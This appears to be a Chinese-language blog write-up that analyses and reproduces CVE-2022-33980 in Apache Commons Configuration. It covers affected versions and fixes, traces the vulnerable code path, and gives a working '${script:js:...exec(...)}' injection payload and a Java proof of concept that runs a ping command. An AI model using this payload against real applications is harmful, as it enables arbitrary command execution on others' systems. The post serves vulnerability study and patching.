Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)分析&复现

2,567 阅读2分钟

目录

一、什么是Apache Commons Configuration

二、Apache Commons Configuration远程代码执行漏洞

漏洞状态

漏洞描述

漏洞等级

影响范围

修复建议

三、漏洞分析

四、漏洞利用

五、附录

一、什么是Apache Commons Configuration

Apache Commons Configuration是Apache基金会下的一个开源项目组件。它是一个java应用程序的配置管理工具,提供了一种通用的管理方式,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。让Java开发者可以使用统一的接口读取不同类型的配置文件。

二、Apache Commons Configuration远程代码执行漏洞

漏洞状态

细节是否公开POC状态EXP状态在野利用
未发现已公开未发现未发现

漏洞描述

近日,Apache官方发布了关于Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)的安全公告。据公告描述,该漏洞是由于Apache Commons Configuration提供的Configuration变量解释功能存在缺陷,攻击者可利用该漏洞在特定情况下,构造恶意数据执行远程代码。

Apache Commons Configuration执行变量插值(Variable Interpolation)允许动态评估和扩展属性。插值的标准格式是"${prefix:name}",其中"prefix"用于定位执行插值的org.apache.commons.configuration2.interpol.Lookup实例。

从2.4版到2.7版,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。如公告中提到"script"可使用JVM脚本执行引擎(javax.script)执行表达式,若使用了不受信任的配置值,在受影响的版本中使用插值默认值的应用程序就很可能受到远程代码执行的影响。

  • "script" - execute expressions using the JVM script execution engine (javax.script)
  • "dns" - resolve dns records
  • "url" - load values from urls, including from remote servers

漏洞等级

目前漏洞POC已被泄露,攻击者利用该漏洞可导致远程命令执行,危害系统安全。

影响范围

2.4 <= Apache Commons Configuration <= 2.7

修复建议

官方已发布漏洞补丁及修复版本,酌情升级至安全版本,下载链接如下:commons.apache.org/proper/comm…

三、漏洞分析

如上图为漏洞的POC,使用java.lang.Runtime.getRuntime()exec()方法进行任意命令执行。其他执行引擎如下

${script:js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")}
${sys:os.version}
${env:PATH}

创建对象后进入interpolate()方法执行传入值的插值。如果换传入的是字符串,此方法会检查它是否包含变量。

进入resolveSingleVariable(final String strValue)方法,插入单个变量的字符串值。

随后进入extractVariableName(final String strValue)提取变量名。

进入resolve(final String var)解析后,可以看到变量var = "script:js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")"PREFIX_SEPARATOR = :,对变量进行分割解析。

获取数值后prefix = "script"随即进入fetchLookupForPrefix(prefix).lookup(name)获取执行器的对象。

通过获取到的对象,进入public String lookup(final String key)方法,其中key的值为"js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")"

至此,我们看到scriptEngine.eval(script)进行命令执行,此时执行命令的线程创建了PID=26152的执行进程。

然后程序向上返回,看到执行完成的信息value = "Process[pid=26152, exitValue=1]"

通过抓报文可以看到,成功的执行了ping -c1 10.10.10.10命令。

四、漏洞利用

使用该版本组件的应用程序理论上都会存在该漏洞,只是传入参数的难易程度决定了漏洞的利用情况。

本地POC链接见附录。

package main;

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class main {
  public static void main(String []args) throws Exception{
      String cmd = new String();
      cmd = "${script:js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")}";
      // cmd = "${sys:user.home}";
      // cmd = "${sys:os.version}";
      // cmd = "${env:PATH}";
      InterpolatorSpecification spec = new InterpolatorSpecification.Builder()
              .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
              .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
              .create();

      ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec);
      System.out.printf("POC: %s",interpolator.interpolate(cmd));
  }
}

使用maven构建项目

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-configuration2 -->
<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-configuration2</artifactId>
  <version>2.5</version>
</dependency>

五、附录

参考链接:

lists.apache.org/thread/tdf5…

commons.apache.org/proper/comm…

commons.apache.org/proper/comm…

github.com/tangxiaofen…